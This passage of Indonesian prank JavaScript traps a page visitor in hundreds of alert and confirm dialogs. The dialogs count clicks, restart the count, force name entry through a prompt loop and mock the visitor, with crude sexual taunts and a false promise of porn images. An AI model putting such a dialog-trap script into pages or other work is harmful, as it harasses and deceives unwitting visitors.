nomor 140 “) alert (“Ini klik nomor 141 “) alert (“Ini klik nomor 142 “) alert (“Ini klik nomor 143 “) alert (“Ini klik nomor 145 “) alert (“Ini klik nomor 146 “) alert (“Ini klik nomor 147 “) alert (“Ini klik nomor 148 “) alert (“Ini klik nomor 149 “) alert (“Ini klik nomor 150 “) alert (“Ini klik nomor 151″) alert (“Ini klik nomor 152 “) alert (“Ini klik nomor 153 “) alert (“Ini klik nomor 154 “) alert (“Ini klik nomor 155 “) alert (“Ini klik nomor 156 “) alert (“Ini klik nomor 157 “) alert (“Ini klik nomor 158 “) alert (“Ini klik nomor 159 “) alert (“Ini klik nomor 160 “) alert (“Ini klik nomor 161 “) alert (“Ini klik nomor 162 “) alert (“Ini klik nomor 163 “) alert (“Ini klik nomor 164 “) alert (“Ini klik nomor 165 “) alert (“Ini klik nomor 166 “) alert (“Ini klik nomor 167 “) alert (“Ini klik nomor 168 “) alert (“Ini klik nomor 169 “) alert (“Ini klik nomor 170 “) alert (“Waduhhh…pasti capek banget ya ?”) alert (“Gimana masih kuat ?”) alert (“Masih donk !! Harus !!”) confirm (“Gue kasihan deh sama kamu “) confirm (“Makanya nurut sama peringatan Webmaster !!”) confirm (“Ok…kita ngitung lagi ya ?”) confirm (“Sampai dimana tadi ?”) confirm (“sampai 170 ya ?”) confirm (” Kamu ngitungnya sampai 1000 dulu “) confirm (“Baru kamu dapat”) confirm (“Melihat-lihat halaman ini..!!”) confirm (“Gimana kita mulai ?”) confirm (“Kamu mau minum dulu ?”) confirm (“Ok…ga’ pa-pa deh”) confirm (“Minum dulu sana..!!”) confirm (“Gimana… lega ?”) confirm (“Kamu pasti marah banget ya “) confirm (“Sudah dikerjain sama Web Master..!!”) confirm (“Tapi mau gimana lagi ?”) confirm (“Ngga’ ada yang bisa kamu lakukan”) confirm (“Selain terus klak-klik mouse kamu “) confirm (“Betul kan ?”) confirm (“Kita ngitung lagi ya ?”) confirm (“MULAI !!!!”) alert (“Ini klik nomor 171 “) alert (“Ini klik nomor 172 “) alert (“Ini klik nomor 173 “) alert (“Ini klik nomor 174 “) alert (“Ini klik nomor 175 “) alert (“Ini klik nomor 176 “) alert (“Ini klik nomor 177 “) alert (“Ini klik nomor 178 “) alert (“Ini klik nomor 179 “) alert (“Ini klik nomor 180 “) alert (“Ini klik nomor 181 “) alert (“Ini klik nomor 182 “) alert (“Ini klik nomor 183 “) alert (“Ini klik nomor 184 “) alert (“Ini klik nomor 185 “) alert (“Ini klik nomor 186 “) alert (“Ini klik nomor 187 “) alert (“Ini klik nomor 188 “) alert (“Ini klik nomor 189 “) alert (“Ini klik nomor 190 “) alert (“Ini klik nomor 191 “) alert (“Ini klik nomor 192 “) alert (“Ini klik nomor 193 “) alert (“Ini klik nomor 194 “) alert (“Ini klik nomor 195 “) alert (“Ini klik nomor 196 “) alert (“Ini klik nomor 197 “) alert (“Ini klik nomor 198 “) alert (“Ini klik nomor 199 “) alert (“Ini klik nomor 200 “) alert (“Ini klik nomor 201 “) alert (“Ini klik nomor 202 “) alert (“Ini klik nomor 203 “) alert (“Ini klik nomor 204 “) alert (“Ini klik nomor 205 “) alert (“Ini klik nomor 206 “) alert (“Ini klik nomor 207 “) alert (“Ini klik nomor 208 “) alert (“Ini klik nomor 209 “) alert (“Ini klik nomor 210 “) alert (“Ini klik nomor 211 “) alert (“Ini klik nomor 212 “) alert (“Ini klik nomor 213 “) alert (“Ini klik nomor 215 “) alert (“Ini klik nomor 216 “) alert (“Ini klik nomor 217 “) alert (“Ini klik nomor 218 “) alert (“Ini klik nomor 219 “) alert (“Ini klik nomor 220 “) alert (“Ini klik nomor 221 “) alert (“Ini klik nomor 222 “) alert (“Ini klik nomor 223 “) alert (“Ini klik nomor 224 “) alert (“Ini klik nomor 225 “) alert (“Ini klik nomor 226 “) alert (“Ini klik nomor 227 “) alert (“Ini klik nomor 228 “) alert (“Ini klik nomor 229 “) alert (“Ini klik nomor 230 “) alert (“Ini klik nomor 231 “) alert (“Ini klik nomor 232 “) alert (“Ini klik nomor 233 “) alert (“Ini klik nomor 234 “) alert (“Ini klik nomor 235 “) alert (“Ini klik nomor 236 “) alert (“Ini klik nomor 237 “) alert (“Ini klik nomor 238 “) alert (“Ini klik nomor 239 “) alert (“Ini klik nomor 230 “) alert (“Ini klik nomor 231 “) alert (“Ini klik nomor 232 “) alert (“Ini klik nomor 233 “) alert (“Ini klik nomor 234 “) alert (“Ini klik nomor 235 “) alert (“Ini klik nomor 236 “) alert (“Ini klik nomor 237 “) alert (“Ini klik nomor 238 “) alert (“Ini klik nomor 239 “) alert (“Ini klik nomor 240 “) alert (“Ini klik nomor 241 “) alert (“Ini klik nomor 242 “) alert (“Ini klik nomor 243 “) alert (“Ini klik nomor 244 “) alert (“Ini klik nomor 245 “) alert (“Ini klik nomor 246 “) alert (“Ini klik nomor 247 “) alert (“Ini klik nomor 248 “) alert (“Ini klik nomor 249 “) alert (“Ini klik nomor 250 “) alert (“Ini klik nomor 251 “) alert (“Ini klik nomor 252 “) alert (“Ini klik nomor 253 “) alert (“Ini klik nomor 255 “) alert (“Ini klik nomor 256 “) alert (“Ini klik nomor 257 “) alert (“Ini klik nomor 258 “) alert (“Ini klik nomor 259 “) alert (“Ini klik nomor 260 “) alert (“Ini klik nomor 261 “) alert (“Ini klik nomor 262 “) alert (“Ini klik nomor 263 “) alert (“Ini klik nomor 264 “) alert (“Ini klik nomor 265 “) alert (“Ini klik nomor 266 “) alert (“Ini klik nomor 267 “) alert (“Ini klik nomor 268 “) alert (“Ini klik nomor 269 “) alert (“Ini klik nomor 270 “) alert (“Ini klik nomor 271 “) alert (“Ini klik nomor 272 “) alert (“Ini klik nomor 273 “) alert (“Ini klik nomor 274 “) alert (“Ini klik nomor 275 “) alert (“Ini klik nomor 276 “) alert (“Ini klik nomor 277 “) alert (“Ini klik nomor 278 “) alert (“Ini klik nomor 279 “) alert (“Ini klik nomor 280 “) alert (“Ini klik nomor 281 “) alert (“Ini klik nomor 282 “) alert (“Ini klik nomor 283 “) alert (“Ini klik nomor 284 “) alert (“Ini klik nomor 285 “) alert (“Ini klik nomor 286 “) alert (“Ini klik nomor 1 “) alert (“Loh kok balik jadi 1 sih ?? “) alert (“Ga` papa deh ulang lagi dari 1 “) alert (“HEHEHE “) alert (“Ini klik nomor 2 “) alert (“Ini klik nomor 3 “) alert (“Ini klik nomor 4 “) alert (“Ini klik nomor 5 “) alert (“Ini klik nomor 6 “) alert (“Ini klik nomor 7 “) alert (“Aduh jadi kaco nih ! “) alert (“Ok deh kita hitung mundur ajah “) alert (“Abis 10 hitungan ini “) alert (“Lo bisa liat gambar porno “) alert (“Ok.. Mulai !! “) alert (“10 “) alert (“9 “) alert (“8 “) alert (“7 “) alert (“6 “) alert (“5 “) alert (“4 “) alert (“3 “) alert (“2 “) alert (“1 “) alert (“0 “) alert (“-1 “) alert (“-2 “) alert (“-3 “) alert (“HEHEHEHE !! “) alert (“Lo sih keasikan ngitung “) alert (“Nah sekarang lo bisa keluar “) alert (“Tapi.. “) alert (“Gw mo cerita lagi nih “) alert (“HEHEHEHEHE “) alert (“Masih betah kan ? “) alert (“Apa ?? Udah capek ? “) alert (“Sama nih.. Gw juga cape “) alert (“Ok deh Gw ngalah !! “) alert (“Silahkan kamu masuk halaman ini “) alert (“Tapi ingat..!!! “) alert (“Ajak temen kamu ke halaman ini “) alert (“Biar ga kamu aja yang dikerjain !!!”) alert (“Hehehehe “) alert (“Lo BeTe kan ?”) alert (“Kasihaaaan Deh Loe !!”) alert (“Ha.ha..ha.ha.haa….!!”) <!– HIDE FROM OTHER BROWSERS var c = prompt (“PERHATIAN!!!”+”gw lupa lagi nama loe!… lupa2 terus yah…”,”) while (c == null || c == ”){ alert(‘SUDAH DIBILANG ANDA HARUS MEMASUKKAN NAMA ATAU ANDA TIDAK AKAN PERNAH BISA MASUK SITUS INI’); var c = prompt(“MASUKKAN NAMA ANDA!!”,”)} var page = document.location; var ttl = document.title; alert(“HALO ” +c+ “….. gw kira tadi nama loe si orang begho!,”+”!”) // STOP HIDING FROM OTHER BROWSERS –> confirm (“udah memberanikan diri masuk ni site?”) confirm (“Betul-betul yakin ?”) confirm (“Jangan bohong !”) confirm (“Ok…tapi ingat”) confirm (“Jangan menyesal lho !!”) confirm (“Pertama-tama..”) confirm (“Kamu harus bayar dulu !”) confirm (“Coba lihat deh dompet kamu !”) confirm (“Eitt…kosong ya”) confirm (“Kalau mau masuk situs ini”) confirm (“Kamu harus bawa banyak uang !”) confirm (“Terus kamu kasihkan sama WebMaster”) alert (“Jelas ” +c+ “…sayang ?”) confirm (“Tapi kali ini “) confirm (“Situs ini digratiskan oleh WebMaster !”) confirm (“Eitt…jangan senang dulu !”) confirm (“Kamu harus membawa ID kamu !”) confirm (“Ok kalo begitu keluarkan ID kamu dulu !”) confirm (“Tidak punya ID ?”) confirm (“Ok KTP aja deh !”) confirm (“Sudah ?”) confirm (“Silahkan Anda tempel di layar monitor !”) confirm (“Tidak bawa KTP juga ?”) confirm (“Terus kamu bawa apa donk ?”) confirm (“Coba kamu keluarkan apa yang kamu punya !!”) confirm (“Tidak mau ya ?”) confirm (“Ok…gini aja”) confirm (” Kamu buka baju kamu !!”) confirm (“Sudah ?”) confirm (“Semua di buka !!”) confirm (“Terus kamu pegang anu kamu !!”) confirm (“Eitt…stop..stop !!”) confirm (“Jangan diteruskan !!”) confirm (“Mending gua lihat punya ge sendiri daripada punya kamu !!”) confirm (“Ok..pake lagi dah baju kamu !!”) confirm (“Mana badan kamu penuh panu lagi !!”) confirm (“hiii…!!!”) confirm (“Sekarang enaknya ngapain ya ?”) confirm (“Capek kan ngeklik terus ?”) confirm (“Jangan putus asa deh!!”) confirm (“Karena memang ngga’ ada yang bisa kamu lakukan !!”) confirm (“Betul kan !!”) confirm (“Paling-paling kamu cuman bisa”) confirm (“tekan tombol ctrl-alt-del !!”) confirm (“Kasihan deh kamu”) confirm (“Kan dari awal gue sudah ngomong !!”) confirm (“Jangan menyesal masuk halaman ini”) confirm (“Karena ini adalah halaman”) confirm (“Untuk melatih jari kamu”) confirm (“Dalam mengeklik mouse !!”) confirm (“Jangan khawatir..!!”) confirm (“Paling tinggal 1000 klik lagi !!”) confirm (“Tidak banyak kan ?”) confirm (“Sekarang kalau kamu”) confirm (“Merestart komputer kamu silahkan deh!!”) confirm (“Atau kamu penasaran?”) confirm (“Sampai dimana kamu harus ngeklik?”) confirm (“OK…kita teruskan latihan kamu!!”) confirm (“Ngga’ capek kan ?”) confirm (“Sekarang gue cerita aja ya”) confirm (“Begini !!”) confirm (“Dulu !!”) confirm (“Gue dulu punya temen “) alert (“Kalo ga salah namanya ” +c+ “…”) confirm (“Sapa ya…kamu tahu ngga’”) confirm (“Dia itu paling suka lihat “) confirm (“Gambar-gambar porno di Internet “) confirm (“Seperti kamu”) confirm (“Terus sekarang dia udah menikah”) confirm (“Kamu tau ngga’ apa yang terjadi”) confirm (“Tau ngga’?”) confirm (“Ngga’ tau kan ?”) confirm (“Ya emang ngga’ tau “) confirm (“Kan belum di lanjutin ceritanya ?”) confirm (“Iya neh…gimana sih WebMasternya ?”) confirm (“Tapi gue males “) confirm (“Ngelanjutin ceritanya “) confirm (“Kamu donk yang gantian cerita..!!”) confirm (“Cerita apa aja deh “) confirm (“Emm…tentang pacar kamu aja deh”) confirm (“Apa….?”) confirm (“Kamu ngga’ punya pacar ?”) confirm (“OK..setelah kamu selesai”) confirm (“Mengeklik semua ini “) confirm (“Dijamin kamu akan dapat pacar”) confirm (“Dari sini “) alert (“Heii..” +c+ “…..Kamu cowok apa cewek sih !!”) alert (“Kalau kamu cewek “) alert (“Silahkan contact Web Master !!”) alert (“Soalnya Web Masternya lagi sedih nih”) alert (“Barusan ditinggal sama pacarnya “) alert (“OKE..” +c+ “….!!”) alert (“Kamu belum capek kan ?”) alert (“Gue yang capek dodol !!!”) alert (“Ngetik terus…”) alert (“Gantian kamu donk !!”) alert (“Sekarang ngapain lagi ya..?”) alert (“Berhitung aja ya..!!”) alert (“Ok..kita mulai”) alert (“Kita ngitung tinggal berapa lagi “) alert (“Kamu harus ngeklik !!”) alert (“Setuju ” +c+ “.. “) alert (“Kita mulai..!!!”) alert (“Ini klik nomor 1 “) alert (“Ini klik nomor 2 “) alert (“Ini klik nomor 3 “) alert (“Ini klik nomor 4 “) alert (“Ini klik nomor 5 “) alert (“Ini klik nomor 6 “) alert (“Ini klik nomor 7 “) alert (“Ini klik nomor 8 “) alert (“Ini klik nomor 9 “) alert (“Ini klik nomor 10 “) alert (“Ini klik nomor 11 “) alert (“Ini klik nomor 12 “) alert (“Ini klik nomor 13 “) alert (“Ini klik nomor 14 “) alert (“Ini klik nomor 15 “) alert (“Ini klik nomor 16 “) alert (“Ini klik nomor 17 “) alert (“Ini klik nomor 18 “) alert (“Ini klik nomor 19 “) alert (“Ini klik nomor 20 “) alert (“Ini klik nomor 21″) alert (“Ini klik nomor 22 “) alert (“Ini klik nomor 23 “) alert (“Ini klik nomor 24 “) alert (“Ini klik nomor 25 “) alert (“Ini klik nomor 26 “) alert (“Ini klik nomor 27 “) alert (“Ini klik nomor 28 “) alert (“Ini klik nomor 29 “) alert (“Ini klik nomor 30 “) alert (“Ini klik nomor 31 “) alert (“Ini klik nomor 32 “) alert (“Ini klik nomor 33 “) alert (“Ini klik nomor 34 “) alert (“Ini klik nomor 35 “) alert (“Ini klik nomor 36 “) alert (“Ini klik nomor 37 “) alert (“Ini klik nomor 38 “) alert (“Ini klik nomor 39″) alert (“Ini klik nomor 40 “) alert (“Ini klik nomor 41 “) alert (“Ini klik nomor 42 “) alert (“Ini klik nomor 43 “) alert (“Ini klik nomor 44 “) alert (“Ini klik nomor 45 “) alert (“Ini klik nomor 46″) alert (“Ini klik nomor 47 “) alert (“Ini klik nomor 48 “) alert (“Ini klik nomor 49″) alert (“Ini klik nomor 50 “) alert (“Ini klik nomor 51″) alert (“Ini klik nomor 52″) alert (“Ini klik nomor 53 “) alert (“Ini klik nomor 54 “) alert (“Ini klik nomor 55″) alert (“Ini klik nomor 56″) alert (“Ini klik nomor 57 “) alert (“Ini klik nomor 58″) alert (“Ini klik nomor 59″) alert (“Ini klik nomor 60″) alert (“Ini klik nomor 61″) alert (“Ini klik nomor 62″) alert (“Ini klik nomor 63 “) alert (“Ini klik nomor 64″) alert (“Ini klik nomor 65″) alert (“Ini klik nomor 66″) alert (“Ini klik nomor 67″) alert (“Ini klik nomor 68″) alert (“Ini klik nomor 69 “) alert (“Ini klik nomor 70″) alert (“Ini klik nomor 71″) alert (“Ini klik nomor 72″) alert (“Ini klik nomor 73″) alert (“Ini klik nomor 74″) alert (“Ini klik nomor 75″) alert (“Ini klik nomor 76″) alert (“Ini klik nomor 77″) alert (“Ini klik nomor 78″) alert (“Ini klik nomor 79″) alert (“Ini klik nomor 80″) alert (“Ini klik nomor 81″) alert (“Ini klik nomor 82″) alert (“Ini klik nomor 83″) alert (“Ini klik nomor 84″) alert (“Ini klik nomor 85″) alert (“Ini klik nomor 86″) alert (“Ini klik nomor 87″) alert (“Ini klik nomor 89″) alert (“Ini klik nomor 90″) alert (“Ini klik nomor 91″) alert (“Ini klik nomor 92″) alert (“Ini klik nomor 93″) alert (“Ini klik nomor 94″) alert (“Ini klik nomor 95″) alert (“Ini klik nomor 96″) alert (“Ini klik nomor 97″) alert (“Ini klik nomor 98″) alert (“Ini klik nomor 99″) alert (“Ini klik nomor 100″) alert (“Ini klik nomor 101 “) alert (“Ini klik nomor 102 “) alert (“Ini klik nomor 103 “) alert (“Ini klik nomor 104 “) alert (“Ini klik nomor 105 “) alert (“Ini klik nomor 106 “) alert (“Ini klik nomor 107 “) alert (“Ini klik nomor 108 “) alert (“Ini klik nomor 109 “) alert (“Ini klik nomor 110 “) alert (“Ini klik nomor 111″) alert (“Ini klik nomor 112 “) alert (“Ini klik nomor 113″) alert (“Ini klik nomor 114 “) alert (“Ini klik nomor 115 “) alert (“Ini klik nomor 116 “) alert (“Ini klik nomor 117 “) alert (“Ini klik nomor 118 “) alert (“Ini klik nomor 119 “) alert (“Ini klik nomor 120 “) alert (“Ini klik nomor 121 “) alert (“Ini klik nomor 122 “) alert (“Ini klik nomor 123 “) alert (“Ini klik nomor 124 “) alert (“Ini klik nomor 125 “) alert (“Ini klik nomor 126 “) alert (“Ini klik nomor 127 “) alert (“Ini klik nomor 128 “) alert (“Ini klik nomor 129 “) alert (“Ini klik nomor 130 “) alert (“Ini klik nomor 131 “) alert (“Ini klik nomor 132 “) alert (“Ini klik nomor 133 “) alert (“Ini klik nomor 134 “) alert (“Ini klik nomor 135 “) alert (“Ini klik nomor 136 “) alert (“Ini klik nomor 137 “) alert (“Ini klik nomor 138 “) alert (“Ini klik nomor 139 “) alert (“Ini klik nomor 140 “) alert (“Ini klik nomor 141 “) alert (“Ini klik nomor 142 “) alert (“Ini klik nomor 143 “) alert (“Ini klik nomor 145 “) alert (“Ini klik nomor 146 “) alert (“Ini klik nomor 147 “) alert (“Ini klik nomor 148 “) alert (“Ini klik nomor 149 “) alert (“Ini klik nomor 150 “) alert (“Ini klik nomor 151″) alert (“Ini klik nomor 152 “) alert (“Ini klik nomor 153 “) alert (“Ini klik nomor 154 “) alert (“Ini klik nomor 155 “) alert (“Ini klik nomor 156 “) alert (“Ini klik nomor 157 “) alert (“Ini klik nomor 158 “) alert (“Ini klik nomor 159 “) alert (“Ini klik nomor 160 “) alert (“Ini klik nomor 161 “) alert (“Ini klik nomor 162 “) alert (“Ini klik nomor 163 “) alert (“Ini klik nomor 164 “) alert (“Ini klik nomor 165 “) alert (“Ini klik nomor 166 “) alert (“Ini klik nomor 167 “) alert (“Ini klik nomor 168 “) alert (“Ini klik nomor 169 “) alert (“Ini klik nomor 170 “) alert (“Waduhhh…pasti capek banget ya ?”) alert (“Gimana masih kuat ?”) alert (“Masih donk !! Harus !!”) confirm (“Gue kasihan deh sama kamu “) confirm (“Makanya nurut sama peringatan Webmaster !!”) confirm (“Ok…kita ngitung lagi ya ?”) confirm (“Sampai dimana tadi ?”) confirm (“sampai 170 ya ?”) confirm (” Kamu ngitungnya sampai 1000 dulu “) confirm (“Baru kamu dapat”) confirm (“Melihat-lihat halaman ini..!!”) confirm (“Gimana kita mulai ?”) confirm (“Kamu mau minum dulu ?”) confirm (“Ok…ga’ pa-pa deh”) confirm (“Minum dulu sana..!!”) confirm (“Gimana… lega ?”) confirm (“Kamu pasti marah banget ya “) confirm (“Sudah dikerjain sama Web Master..!!”) confirm (“Tapi mau gimana lagi ?”) confirm (“Ngga’ ada yang bisa kamu lakukan”) confirm (“Selain terus klak-klik mouse kamu “) confirm (“Betul kan ?”) confirm (“Kita ngitung lagi ya ?”) confirm (“MULAI !!!!”) alert (“Ini klik nomor 171 “) alert (“Ini klik nomor 172 “) alert (“Ini klik nomor 173 “) alert (“Ini klik nomor 174 “) alert (“Ini klik nomor 175 “) alert (“Ini klik nomor 176 “) alert (“Ini klik nomor 177 “) alert (“Ini klik nomor 178 “) alert (“Ini klik nomor 179 “) alert (“Ini klik nomor 180 “) alert (“Ini klik nomor 181 “) alert (“Ini klik nomor 182 “) alert (“Ini klik nomor 183 “) alert (“Ini klik nomor 184 “) alert (“Ini klik nomor 185 “) alert (“Ini klik nomor 186 “) alert (“Ini klik nomor 187 “) alert (“Ini klik nomor 188 “) alert (“Ini klik nomor 189 “) alert (“Ini klik nomor 190 “) alert (“Ini klik nomor 191 “) alert (“Ini klik nomor 192 “) alert (“Ini klik nomor 193 “) alert (“Ini klik nomor 194 “) alert (“Ini klik nomor 195 “) alert (“Ini klik nomor 196 “) alert (“Ini klik nomor 197 “) alert (“Ini klik nomor 198 “) alert (“Ini klik nomor 199 “) alert (“Ini klik nomor 200 “) alert (“Ini klik nomor 201 “) alert (“Ini klik nomor 202 “) alert (“Ini klik nomor 203 “) alert (“Ini klik nomor 204 “) alert (“Ini klik nomor 205 “) alert (“Ini klik nomor 206 “) alert (“Ini klik nomor 207 “) alert (“Ini klik nomor 208 “) alert (“Ini klik nomor 209 “) alert (“Ini klik nomor 210 “) alert (“Ini klik nomor 211 “) alert (“Ini klik nomor 212 “) alert (“Ini klik nomor 213 “) alert (“Ini klik nomor 215 “) alert (“Ini klik nomor 216 “) alert (“Ini klik nomor 217 “) alert (“Ini klik nomor 218 “) alert (“Ini klik nomor 219 “) alert (“Ini klik nomor 220 “) alert (“Ini klik nomor 221 “) alert (“Ini klik nomor 222 “) alert (“Ini klik nomor 223 “) alert (“Ini klik nomor 224 “) alert (“Ini klik nomor 225 “) alert (“Ini klik nomor 226 “) alert (“Ini klik nomor 227 “) alert (“Ini klik nomor 228 “) alert (“Ini klik nomor 229 “) alert (“Ini klik nomor 230 “) alert (“Ini klik nomor 231 “) alert (“Ini klik nomor 232 “) alert (“Ini klik nomor 233 “) alert (“Ini klik nomor 234 “) alert (“Ini klik nomor 235 “) alert (“Ini klik nomor 236 “) alert (“Ini klik nomor 237 “) alert (“Ini klik nomor 238 “) alert (“Ini klik nomor 239 “) alert (“Ini klik nomor 230 “) alert (“Ini klik nomor 231 “) alert (“Ini klik nomor 232 “) alert (“Ini klik nomor 233 “) alert (“Ini klik nomor 234 “) alert (“Ini klik nomor 235 “) alert (“Ini klik nomor 236 “) alert (“Ini klik nomor 237 “) alert (“Ini klik nomor 238 “) alert (“Ini klik nomor 239 “) alert (“Ini klik nomor 240 “) alert (“Ini klik nomor 241 “) alert (“Ini klik nomor 242 “) alert (“Ini klik nomor 243 “) alert (“Ini klik nomor 244 “) alert (“Ini klik nomor 245 “) alert (“Ini klik nomor 246 “) alert (“Ini klik nomor 247 “) alert (“Ini klik nomor 248 “) alert (“Ini klik nomor 249 “) alert (“Ini klik nomor 250 “) alert (“Ini klik nomor 251 “) alert (“Ini klik nomor 252 “) alert (“Ini klik nomor 253 “) alert (“Ini klik nomor 255 “) alert (“Ini klik nomor 256 “) alert (“Ini klik nomor 257 “) alert (“Ini klik nomor 258 “) alert (“Ini klik nomor 259 “) alert (“Ini klik nomor 260 “) alert (“Ini klik nomor 261 “) alert (“Ini klik nomor 262 “) alert (“Ini klik nomor 263 “) alert (“Ini klik nomor 264 “) alert (“Ini klik nomor 265 “) alert (“Ini klik nomor 266 “) alert (“Ini klik nomor 267 “) alert (“Ini klik nomor 268 “) alert (“Ini klik nomor 269 “) alert (“Ini klik nomor 270 “) alert (“Ini klik nomor 271 “) alert (“Ini klik nomor 272 “) alert (“Ini klik nomor 273 “) alert (“Ini klik nomor 274 “) alert (“Ini klik nomor 275 “) alert (“Ini klik nomor 276 “) alert (“Ini klik nomor 277 “) alert (“Ini klik nomor 278 “) alert (“Ini klik nomor 279 “) alert (“Ini klik nomor 280 “) alert (“Ini klik nomor 281 “) alert (“Ini klik nomor 282 “) alert (“Ini klik nomor 283 “) alert (“Ini klik nomor 284 “) alert (“Ini klik nomor 285 “) alert (“Ini klik nomor 286 “) alert (“Ini klik nomor 1 “) alert (“Loh kok balik jadi 1 sih ?? “) alert (“Ga` papa deh ulang lagi dari 1 “) alert (“HEHEHE “) alert (“Ini klik nomor 2 “) alert (“Ini klik nomor 3 “) alert (“Ini klik nomor 4 “) alert (“Ini klik nomor 5 “) alert (“Ini klik nomor 6 “) alert (“Ini klik nomor 7 “) alert (“Aduh jadi kaco nih ! “) alert (“Ok deh kita hitung mundur ajah “) alert (“Abis 10 hitungan ini “) alert (“Lo bisa liat gambar porno “) alert (“Ok.. Mulai !! “) alert (“10 “) alert (“9 “) alert (“8 “) alert (“7 “) alert (“6 “) alert (“5 “) alert (“4 “) alert (“3 “) alert (“2 “) alert (“1 “) alert (“0 “) alert (“-1 “) alert (“-2 “) alert (“-3 “) alert (“HEHEHEHE !! “) alert (“Lo sih keasikan ngitung “) alert (“Nah sekarang lo bisa keluar “) alert (“Tapi.. “) alert (“Gw mo cerita lagi nih “) alert (“HEHEHEHEHE “) alert (“Masih betah kan ? “) alert (“Apa ?? Udah capek ? “) alert (“Sama nih.. Gw juga cape “) alert (“Ok deh Gw ngalah !! “) alert (“Silahkan kamu masuk halaman ini “) alert (“Tapi ingat..!!! “) alert (“Ajak temen kamu ke halaman ini “) alert (“Biar ga kamu aja yang dikerjain !!!”) alert (“Hehehehe “) alert (“Lo BeTe kan ?”) alert (“Kasihaaaan Deh Loe !!”) <!– HIDE FROM OTHER BROWSERS var c = prompt (“PERHATIAN!!!”+”sekali lagi anda harus memasukkan nama anda biar saya,meyerzz tidak lupa,thanks”,”) while (c == null || c == ”){ alert(‘SUDAH DIBILANG ANDA HARUS MEMASUKKAN NAMA ATAU ANDA TIDAK AKAN PERNAH BISA MASUK SITUS INI’); var c = prompt(“MASUKKAN NAMA ANDA!!”,”)} var page = document.location; var ttl = document.title; alert(“HALO ” +c+ “….. semua yang loe inginkan hanya ada di mimpi…,”+”!”) // STOP HIDING FROM OTHER BROWSERS –> alert (“Ha.ha..ha.ha.haa….!!”) alert (“Kamu harus ngeklik !!”) alert (“Setuju ” +c+ “.. “) alert (“Kita mulai..!!!”) alert (“Ini klik nomor 1 “) alert (“Ini klik nomor 2 “) alert (“Ini klik nomor 3 “) alert (“Ini klik nomor 4 “) alert (“Ini klik nomor 5 “) alert (“Ini klik nomor 6 “) alert (“Ini klik nomor 7 “) alert (“Ini klik nomor 8 “) alert (“Ini klik nomor 9 “) alert (“Ini klik nomor 10 “) alert (“Ini klik nomor 11 “) alert (“Ini klik nomor 12 “) alert (“Ini klik nomor 13 “) alert (“Ini klik nomor 14 “) alert (“Ini klik nomor 15 “) alert (“Ini klik nomor 16 “) alert (“Ini klik nomor 17 “) alert (“Ini klik nomor 18 “) alert (“Ini klik nomor 19 “) alert (“Ini klik nomor 20 “) alert (“Ini klik nomor 21″) alert (“Ini klik nomor 22 “) alert (“Ini klik nomor 23 “) alert (“Ini klik nomor 24 “) alert (“Ini klik nomor 25 “) alert (“Ini klik nomor 26 “) alert (“Ini klik nomor 27 “) alert (“Ini klik nomor 28 “) alert (“Ini klik nomor 29 “) alert (“Ini klik nomor 30 “) alert (“Ini klik nomor 31 “) alert (“Ini klik nomor 32 “) alert (“Ini klik nomor 33 “) alert (“Ini klik nomor 34 “) alert (“Ini klik nomor 35 “) alert (“Ini klik nomor 36 “) alert (“Ini klik nomor 37 “) alert (“Ini klik nomor 38 “) alert (“Ini klik nomor 39″) alert (“Ini klik nomor 40 “) alert (“Ini klik nomor 41 “) alert (“Ini klik nomor 42 “) alert (“Ini klik nomor 43 “) alert (“Ini klik nomor 44 “) alert (“Ini klik nomor 45 “) alert (“Ini klik nomor 46″) alert (“Ini klik nomor 47 “) alert (“Ini klik nomor 48 “) alert (“Ini klik nomor 49″) alert (“Ini klik nomor 50 “) alert (“Ini klik nomor 51″) alert (“Ini klik nomor 52″) alert (“Ini klik nomor 53 “) alert (“Ini klik nomor 54 “) alert (“Ini klik nomor 55″) alert (“Ini klik nomor 56″) alert (“Ini klik nomor 57 “) alert (“Ini klik nomor 58″) alert (“Ini klik nomor 59″) alert (“Ini klik nomor 60″) alert (“Ini klik nomor 61″) alert (“Ini klik nomor 62″) alert (“Ini klik nomor 63 “) alert (“Ini klik nomor 64″) alert (“Ini klik nomor 65″) alert (“Ini klik nomor 66″) alert (“Ini klik nomor 67″) alert (“Ini klik nomor 68″) alert (“Ini klik nomor 69 “) alert (“Ini klik nomor 70″) alert (“Ini klik nomor 71″) alert (“Ini klik nomor 72″) alert (“Ini klik nomor 73″) alert (“Ini klik nomor 74″) alert (“Ini klik nomor 75″) alert (“Ini klik nomor 76″) alert (“Ini klik nomor 77″) alert (“Ini klik nomor 78″) alert (“Ini klik nomor 79″) alert (“Ini klik nomor 80″) alert (“Ini klik nomor 81″) alert (“Ini klik nomor 82″) alert (“Ini klik nomor 83″) alert (“Ini klik nomor 84″) alert (“Ini klik nomor 85″) alert (“Ini klik nomor 86″) alert (“Ini klik nomor 87″) alert (“Ini klik nomor 89″) alert (“Ini klik nomor 90″) alert (“Ini klik nomor 91″) alert (“Ini klik nomor 92″) alert (“Ini klik nomor 93″) alert (“Ini klik nomor 94″) alert (“Ini klik nomor 95″) alert (“Ini klik nomor 96″) alert (“Ini klik nomor 97″) alert (“Ini klik nomor 98″) alert (“Ini klik nomor 99″) alert (“Ini klik nomor 100″) alert (“Ini klik nomor 101 “) alert (“Ini klik nomor 102 “) alert (“Ini klik nomor 103 “) alert (“Ini klik nomor 104 “) alert (“Ini klik nomor 105 “) alert (“Ini klik nomor 106 “) alert (“Ini klik nomor 107 “) alert (“Ini klik nomor 108 “) alert (“Ini klik nomor 109 “) alert (“Ini klik nomor 110 “) alert (“Ini klik nomor 111″) alert (“Ini klik nomor 112 “) alert (“Ini klik nomor 113″) alert (“Ini klik nomor 114 “) alert (“Ini klik nomor 115 “) alert (“Ini klik nomor 116 “) alert (“Ini klik nomor 117 “) alert (“Ini klik nomor 118 “) alert (“Ini klik nomor 119 “) alert (“Ini klik nomor 120 “) alert (“Ini klik nomor 121 “) alert (“Ini klik nomor 122 “) alert (“Ini klik nomor 123 “) alert (“Ini klik nomor 124 “) alert (“Ini klik nomor 125 “) alert (“Ini klik nomor 126 “) alert (“Ini klik nomor 127 “) alert (“Ini klik nomor 128 “) alert (“Ini klik nomor 129 “) alert (“Ini klik nomor 130 “) alert (“Ini klik nomor 131 “) alert (“Ini klik nomor 132 “) alert (“Ini klik nomor 133 “) alert (“Ini klik nomor 134 “) alert (“Ini klik nomor 135 “) alert (“Ini klik nomor 136 “) alert (“Ini klik nomor 137 “) alert (“Ini klik nomor 138 “) alert (“Ini klik nomor 139 “) alert (“Ini klik nomor 140 “) alert (“Ini klik nomor 141 “) alert (“Ini klik nomor 142 “) alert 